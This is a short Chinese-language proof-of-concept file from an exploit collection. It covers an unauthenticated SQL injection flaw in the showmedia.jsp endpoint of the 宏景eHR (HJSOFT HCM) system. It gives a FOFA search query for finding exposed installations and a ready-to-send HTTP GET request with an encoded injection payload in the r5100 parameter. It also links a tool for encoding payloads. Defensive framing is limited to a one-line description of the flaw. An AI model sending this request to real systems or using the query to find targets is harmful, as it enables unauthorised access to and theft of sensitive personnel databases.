POC/wpoc/宏景OA/宏景eHR-showmedia.jsp存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

24 lines
726 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 宏景eHR-showmedia.jsp存在SQL注入漏洞
宏景eHR-showmedia.jsp存在SQL注入漏洞未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令从而窃取数据库敏感信息。
## fofa
```
app="HJSOFT-HCM"
```
## poc
```
GET /train/resource/course/showmedia.jsp?a_code&r5100=RzvoYYlxoMjNIPAATTP2HJBPAATTPGGqY4XJPloJ5D5mnYCLzn1uPAATTP2HJBPAATTPQPnPAATTP2HJBPAATTPXdzNJ8pj7I9Y5s1xDAUfUx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64MHhzZWM=) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```
需要用到工具加解密payload
https://github.com/vaycore/HrmsTool